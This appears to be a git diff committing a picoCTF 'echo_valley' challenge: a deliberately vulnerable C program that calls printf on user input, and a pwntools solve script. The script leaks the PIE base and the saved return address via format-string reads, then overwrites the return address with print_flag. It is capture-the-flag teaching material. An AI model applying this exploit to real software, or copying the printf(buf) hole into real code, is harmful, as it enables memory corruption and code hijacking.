diff --git a/pwn/echo_valley/solve.py b/pwn/echo_valley/solve.py new file mode 100755 index 0000000..bf43f3a --- /dev/null +++ b/pwn/echo_valley/solve.py @@ -0,0 +1,83 @@ +#!/usr/bin/env nix-shell +#!nix-shell -i python3 -p "python3.withPackages (ppkgs: with ppkgs; [ pwntools ])" + +from this import s +from pwn import * + +exe = ELF("./valley") + +context.binary = exe + +ADDR, PORT, *_ = "shape-facility.picoctf.net 65509".split() + +def conn(): + if args.REMOTE: + r = remote(ADDR, PORT) + else: + r = process([exe.path]) + + return r + +def send_fmt_payload(r: remote, payload: bytes) -> bytes: + assert len(payload) < 0x100, "Payload too long" + r.sendline(payload) + r.recvuntil(b'You heard in the distance: ') + return r.recvuntil(b'\n').strip() + +def debug_leak_multiple(r: remote) -> None: + for i in range(1, 35): + result = send_fmt_payload(r, f"%{i}$p".encode()) + print(f"{i}, {result}") + +def stage_1_leak_base_address(r: remote) -> None: + main_func_arg = 27 + result = send_fmt_payload(r, f"%{main_func_arg}$p".encode()) + leaked_address = int(result[2:], 16) + base_address = leaked_address - exe.symbols['main'] + exe.address = base_address + print(f"Leaked base address: 0x{base_address:x}") + assert exe.address & 0xfff == 0, "Base address is not page aligned" + +def stage_2_leak_main_rip_addr(r: remote) -> int: + main_rbp_offset = 20 + result = send_fmt_payload(r, f"%{main_rbp_offset}$p".encode()) + main_rbp = int(result[2:], 16) + main_rip_addr = main_rbp - 0x08 + print(f"Leaked main's rip address: 0x{main_rip_addr:x}") + return main_rip_addr + +def stage_3_overwrite_return_address(r: remote, main_rip_addr: int) -> None: + payload = fmtstr_payload( + 6, + {main_rip_addr: exe.symbols['print_flag']}, + write_size='short' + ) + r.sendline(payload) + +def main(): + r = conn() + + # gdb.attach(r, gdbscript=''' + # break *echo_valley+137 + # info proc mappings + # c + # ''') + + r.recvuntil(b'Welcome to the Echo Valley, Try Shouting: \n') + + # debug_leak_multiple(r) + stage_1_leak_base_address(r) + main_rip_addr = stage_2_leak_main_rip_addr(r) + stage_3_overwrite_return_address(r, main_rip_addr) + + r.sendline(b'exit') + + result = r.recvall() + if b"picoctf{" in result: + flag = result.split(b"picoctf{")[1].split(b"}")[0] + print(f"Flag: picoCTF{{{flag.decode()}}}") + else: + print("Flag not found in output.") + +if __name__ == "__main__": + main() diff --git a/pwn/echo_valley/valley b/pwn/echo_valley/valley new file mode 100755 index 0000000..fac975c Binary files /dev/null and b/pwn/echo_valley/valley differ diff --git a/pwn/echo_valley/valley.c b/pwn/echo_valley/valley.c new file mode 100644 index 0000000..f86b7da --- /dev/null +++ b/pwn/echo_valley/valley.c @@ -0,0 +1,49 @@ +#include +#include +#include + +void print_flag() { + char buf[32]; + FILE *file = fopen("/home/valley/flag.txt", "r"); + + if (file == NULL) { + perror("Failed to open flag file"); + exit(EXIT_FAILURE); + } + + fgets(buf, sizeof(buf), file); + printf("Congrats! Here is your flag: %s", buf); + fclose(file); + exit(EXIT_SUCCESS); +} + +void echo_valley() { + printf("Welcome to the Echo Valley, Try Shouting: \n"); + + char buf[100]; + + while(1) + { + fflush(stdout); + if (fgets(buf, sizeof(buf), stdin) == NULL) { + printf("\nEOF detected. Exiting...\n"); + exit(0); + } + + if (strcmp(buf, "exit\n") == 0) { + printf("The Valley Disappears\n"); + break; + } + + printf("You heard in the distance: "); + printf(buf); + fflush(stdout); + } + fflush(stdout); +} + +int main() +{ + echo_valley(); + return 0; +}